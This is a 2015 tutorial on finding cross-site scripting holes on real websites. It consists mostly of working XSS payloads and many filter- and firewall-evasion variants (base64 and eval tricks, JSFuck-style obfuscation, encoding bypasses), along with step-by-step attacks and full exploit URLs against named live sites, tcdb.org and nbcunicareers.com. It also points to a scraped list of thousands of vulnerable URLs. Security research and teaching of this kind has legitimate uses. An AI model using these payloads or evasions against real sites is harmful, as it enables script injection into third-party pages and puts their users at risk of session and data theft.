Finding XSS in Real World

Transcription

Finding XSS in Real World
Finding XSS in Real World
by Alexander Korznikov
[email protected]
1 April 2015
Hi there, in this tutorial, I will try to explain how to find XSS in real world, using some interesting techniques.
All of you know, that XSS is based on some code injection. It maybe <script> tag injection, or just an ‘-alert()-‘, I
will explain about that later.
What do you need to find an XSS? Simply, only browser. But, if you want to find it much faster, you may use this
software:
1. Firefox Browser
2. FireBug Add-on
3. HackBar Add-on
4. Google.
I wanted to learn some advanced techniques of XSS, and found pretty cool way: http://xssposed.org
There are tons of verified XSS’s published by lot of security researchers, affecting VIP sites also.
VIP website on xssposed.org is Google PR > 6 or Alexa Rate < 50000.
So, I’ve wrote a script that grabbed all xssposed.org XSS urls, and started to filter out not interesting fields.
There were about 7500 urls.
You can download a list from here: https://ghostbin.com/paste/n6vk7/raw and filter out all you don’t need.
Real XSS (HTML Injection) Demo.
I will take a real examples of XSSs from xssposed.org that were not patched a very, very long time.
Our first target will be www.tcdb.org, XSS report dated 14/06/2008. From that date, same XSS was reported more 3
times.
Take a look at the “search” field. Let’s enter inside some RANDOMSTRING inside <xxx> tag. Purpose of this test is to
validate, if there is some user input sanitation:
<xxx>RANDOMSTRING<xxx>
As output, we see our “RANDOMSTRING” without <xxx> tags.
Let’s take a look at the source:
// CTRL+U in Firefox and Chrome
As you can see, there is no filtration, and our <xxx> tag passed to browser as HTML.
Purple color means that the <xxx> interpreted as tag.
Finally, we enter:
<script>alert(document.domain)</script>
One thing you should notice: there is no GET parameters in URL. In this example the POST was used.
Open Hack-Bar add-on in Firefox, and after you come to search results, press Load URL and press on checkbox: Enable
Post data
Some server-side scripts, handle GET and POST requests the same way.
Let’s check it:
http://www.tcdb.org/search/index.php?query=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
2. WAF Filter Evasions:
What if the <script> tag is filtered out?
Some WAF evasion cheat-sheets that we can use <sCRipT> tag, but I’ve never seen this in real world.
So I don’t even try it.
Some variations:
<img src=x onerror=alert()>
<img/src=x onerror=”alert()”>
<svg onload=alert()>
<svg/onload=’alert()’>
<marquee onstart=alert()>
<div style=”width:1000px;height:1000px” onmouseover=alert()>asdfa</div>
<a onmouseover=alert()>some random text
What if alert() is filtered?
confirm()
prompt()
window[‘alert’](‘xss’)
window['ale'+'rt']('xss')
eval(window.atob('YWxlcnQoJ3hzcycp'))
//decode base64 string && execute
eval(window['atob']('YWxlcnQoJ3hzcycp'))
window['e'+'v'+'a'+'l'](window['atob']('YWxlcnQoJ3hzcycp'))
Awesome evasion technique: []["filter"]["constructor"]( CODE )()
eval(‘alert()’) will be equal to:
[]["filter"]["constructor"]( window['atob']('YWxlcnQoJ3hzcycp') )()
//equals to eval()
And more evasion:
[]["fil"+"ter"]["constr"+"uctor"]( window['atob']('YWxlcnQoJ3hzcycp') )()
document.body += atob(‘PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+’)
Some reference on []() functions:
false => ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()
//decoded base64 == <script>alert()</script>
Some security researchers go deeper, and develop tools like:
http://www.jsfuck.com/
http://patriciopalladino.com/files/hieroglyphy/
That will convert your JavaScript CODE only with []()!+ characters.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])
Thanks to Patricio Palladino and Martin Kleppe.
So you understand string manipulation like ‘ale’+’rt’…
Will not going to explain it again :)
What if () characters are filtered?
onerror=alert; throw “xss”
“document.body += ‘string’” will append your string to the end of <body> tag.
document.body += ‘<script>alert\x28\x29</script>’
// in HEX: ‘\x28’ == ‘(‘ and ‘\x29’ == ‘)’
Or you can encode the whole string <script>alert()</script> in HEX:
document.body +=
‘\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E’
Or just use your XSS as open redirect:
document.location = ‘http://google.com’
//open redirect
Again, document.location == document[‘locati’+’on’].
Keep that in mind.
As additional reference, I recommend to read this book:
http://dl.packetstormsecurity.net/papers/bypass/WAF_Bypassing_By_RAFAYBALOCH.pdf
Simple HTML injections are easy to sanitize. Filter out tags and ‘=’ characters, and it will be painful job of finding XSS.
For example, Microsoft .NET 4 marking as Dangerous Request every request with character ‘<’ followed by almost any
ASCII character. I’ve not found a way of evasion. So ‘<s’ or ‘<m’ or ‘</’ will be marked as dangerous.
So the only way to bypass it is to use ‘” onmouseover=alert()’> in case if ‘=’ is not filtered out.
ModSecurity doesn’t know about ‘confirm()’…
Some others don’t handle Unicode encoding and/or double URL encoding.
If you can’t use ‘onload’ keyword, try ‘onl%00oad’ or ‘onl%u006fad’ or ‘onl%256fad’
Or if ‘=’ character is filtered or marked as dangerous, try ‘onload%u003d’
Fine. This is over.
Next, I will show you a real example of Inline JavaScript injection.
//Null Byte / Unicode / Double URL
//Unicode representation of ‘=’ char
3. Inline JavaScript injection.
The interesting thing, that this type of injection can be found on popular websites.
Even if there a sanitation of tags, and equal character – XSS is possible.
If the logic of web-site (no matter if it’s server-side or client-side), reflects user’s input in web-page’s javascript, we can
utilize it for nasty purposes :)
Simple example:
We have URL: “http://www.example.com/?id=1&style=blue”
1. Parameter “id” is handled by Server-Side logic, checking for INTEGER
2. Parameter “style” handled by client-side javascript and reflected in this context:
var site.style = ‘blue’
If we pass to the parameter “style” string: ‘blue
//single quote
The context will be: var site.style = ‘’blue’
This will throw an javascript exception: SyntaxError: unterminated string literal
Model:
\string\trash\string\
‘’
blue ‘
//unclosed string
In case of “ double quote, the query will be “blue: SyntaxError: unterminated string literal
In case if ID parameter handled by client-side, and reflected in context:
var site.id = 1
Injected payload “id=1’trash” will look like:
var site.id = 1’trash
That will also throw an SyntaxError exception.
In case if our payload will look like “style=blue\”
var site.style = ‘blue\’
Again, will be SyntaxError exception, because javascript interprets \” as escaped quote.
So we can develop a noninvasive XSS locator:
‘” >trash\
single quote / double quote / space / greater sign / sting / backslash
Some examples that this locator will break:
//in case of no filtration
HTML Code break:
RED: Rendered as tags / BLUE: throwed out at the screen
<a href=”http://example.com/?id=1&style=’” >trash\” style=”blablabla”>
Javascript SyntaxErrors:
RED: Syntax errors
var a = “blue’” >trash\’
a=unescape(‘blue’” >trash\’)
var a = ‘blue’&quot; >trash\’
Sometimes web-site logic will escape ’ or ” characters, so try to add to our locator \’\” >trash\ as result you may see:
var a = ‘blue\\’\\” >trash\
\’ as input will be \\’ as output, so our backslash is escaped, and quotation mark rendered.
One more thing to remember, that we can perform all mathematical operations for all objects in javascript.
For example, we can: ‘ale’+’rt’, or ‘a’ - ‘b’ or ‘a’ * ’b’. Google for more info :)
Examples of nasty javascript injections with various payloads:
var a = ‘blue’
var a = ‘blue’ - alert(‘xss’) - ‘’
//alert() will be executed
var b = [‘red’,’blue’,alert(‘xss’),’’]
var c = func(‘blue’+alert(/xss/))//)
//after “//” the rest of line will be commented
Inline Javascript Real Demo.
Our second target will be www.nbcunicareers.com, XSS report date: 28/06/2014
For making our life easier we will need FireBug and Hack-Bar Firefox addons.
Entering our XSS locator (‘”>trash\) to the website’s “Find Jobs” input field:
Got us to this URL:
http://www.nbcunicareers.com/search-results?search_type=criteria&country=6&state=all&city=all&keywords='">trash\
and as response we will get:
As you can see in FireBug’s output, thrown an exception - SyntaxError: missing } after property list.
By clicking on the green URL right after the “SyntaxError”, we will get generated JavaScript source code:
As you can notice, on lines 570 and 577 the code was broken:
After server-side logic, out XSS locator looks like: ‘&quot;&gt;trash\
So the “ and > tags are converted to HTML entities &quot; &gt; accordingly.
But the single quote is not converted, and only that broke the JavaScript code.
Let’s test for other useful characters () and enter this payload: ‘-a()-
Looks pretty good, characters aren’t converted and passed to generated JavaScript.
How JavaScript understands this payload? ‘ closes string, - subtracts results of a() function
So, our final payload should look like: ‘-alert(‘XSS’)-‘ and should not brake generated JavaScript execution.
pwned again :)
Ask & comment at www.korznikov.com
That’s all folks!